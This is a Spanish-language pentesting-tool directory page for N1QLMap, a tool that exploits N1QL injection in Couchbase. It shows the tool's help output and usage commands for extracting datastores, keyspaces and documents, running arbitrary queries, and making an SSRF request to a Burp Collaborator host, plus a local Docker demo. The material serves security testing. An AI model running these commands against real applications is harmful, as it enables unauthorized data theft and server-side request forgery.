Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
N1QLMap — La herramienta extrae datos de la base de datos Couchbase explotando vulnerabilidades de inyección N1QL. | Kitploit
Herramientas/GitHubGitHub/fsecurelabs/n1qlmap
Explotación de Aplicaciones WebExfiltración de DatosPruebas de PenetraciónSeguridad de Bases de Datos
GitHubfsecurelabs/n1qlmap

N1QLMap

La herramienta extrae datos de la base de datos Couchbase explotando vulnerabilidades de inyección N1QL.

Ver Repositorio
75141hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Descripción

N1QLMap es una herramienta de explotación de N1QL. Actualmente funciona con la base de datos Couchbase. La herramienta soporta la extracción de datos y la realización de ataques SSRF a través de CURL. Se puede encontrar más información aquí: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.

Uso

Ayuda

root@kitploit:~
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
                  (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
                  host

positional arguments:
  host                  Host used to send an HTTP request e.g. https://vulndomain.net

optional arguments:
  -h, --help            show this help message and exit
  -r REQUEST, --request REQUEST
                        Path to an HTTP request
  -k KEYWORD, --keyword KEYWORD
                        Keyword that exists in HTTP response when query is successful
  --proxy PROXY         Proxy server address
  --validatecerts       Set the flag to enforce certificate validation. Certificates are not validated by default!
  -v, --verbose_debug   Set the verbosity level to debug
  -d, --datastores      Lists available datastores
  -ks DATASTORE_URL, --keyspaces DATASTORE_URL
                        Lists available keyspaces for specific datastore URL
  -e KEYSPACE_ID, --extract KEYSPACE_ID
                        Extracts data from a specific keyspace
  -q QUERY, --query QUERY
                        Run arbitrary N1QL query
  -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
                        Runs CURL N1QL function inside the query, can be used to SSRF

Uso

  1. Coloque una solicitud HTTP en el archivo request.txt. Marque un punto de inyección usando *i*. Consulte el archivo example_request_1.txt como referencia.
  2. Use uno de los siguientes comandos.

Extrae datastores:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

Extrae keyspaces del ID de datastore específico:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

Extrae todos los documentos del keyspace dado:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

Ejecuta una consulta arbitraria:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

Realiza una solicitud CURL / SSRF:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

Demo

Para jugar con la vulnerabilidad, puede levantar máquinas Docker con Couchbase y una aplicación web NodeJS. Si ya cumple con los requisitos, simplemente ejecute:

root@kitploit:~
cd n1ql-demo
./quick_setup.sh

Ahora, puede ejecutar los comandos descritos en la sección Uso contra la aplicación web en Docker.

Requisitos

El script N1QLMap.py no necesita ningún requisito específico aparte de Python 3.

Los siguientes requisitos son solo para la Demo proporcionada en el directorio n1ql-demo.

  • Docker
  • Docker Compose

Para instalar Docker y Docker Compose en Kali:

root@kitploit:~
# Instalación de Docker
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update

apt-get remove docker docker-engine docker.io
apt-get install docker-ce

# Iniciar el servicio de Docker
systemctl start docker

# Instalación de Docker Compose
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

Probemos Docker:

root@kitploit:~
docker run hello-world
Descargar herramienta